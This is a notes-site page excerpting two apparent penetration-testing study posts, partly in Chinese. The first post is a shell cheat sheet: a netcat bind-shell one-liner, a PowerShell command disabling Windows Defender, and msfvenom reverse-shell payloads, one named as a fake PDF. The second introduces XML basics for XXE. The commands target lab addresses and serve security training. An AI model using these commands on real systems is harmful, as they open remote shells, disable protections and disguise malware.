Notes Site.
post @ 2024-09-30

Bind Shells

1
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
1
2
nc -nv 10.129.41.200 7777
Target@server:~$

Reverse Shells

禁用 Windows Defender antivirus(AV) 命令

1
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true

msfvenom

1
2
3
4
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
# or
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
...
1
nc -lvnp 443

Online - Reverse Shell Generator https://www.revshells.com/

Read More
post @ 2024-09-25

当 XML 数据未经适当清理或安全解析而从用户控制的输入中获取时,就会出现 XML External Entity (XXE) 漏洞。

XML

Extensible Markup Language (XML)是一种通用标记语言(类似于 HTML 和 SGML),旨在各种类型的应用程序中灵活地传输和存储数据和文档。

XML Document

XML 文档的基本示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>  
<email>
<date>01-01-2022</date>
<time>10:00 am UTC</time>
<sender>john@inlanefreight.com</sender>
<recipients>
<to>HR@inlanefreight.com</to>
<cc>
<to>billing@inlanefreight.com</to>
<to>payslips@inlanefreight.com</to>
</cc>
</recipients>
<body>
Hello,
Kindly share with me the invoice for the payment made on January 1, 2022.
Regards,
John
</body>
</email>

XML 文档的一些关键元素:

Key Definition Example
Tag XML 文档的键,通常用 ( <>) 字符括起来。 <date>
Entity XML 变量,通常用 ( &;) 字符括起来。 &lt;
Element 根元素或其任何子元素,其值存储在开始标记和结束标记之间。 <date>01-01-2022</date>
Attribute 存储在标签中的任何元素的可选规范,可供 XML 解析器使用。 version="1.0"/encoding="UTF-8"
Declaration 通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。 <?xml version="1.0" encoding="UTF-8"?>

XML Document Type Definition (DTD)

XML Document Type Definition (DTD) 允许根据预定义的文档结构验证 XML 文档。预定义的文档结构可以在文档本身或外部文件中定义。

Read More
⬆︎TOP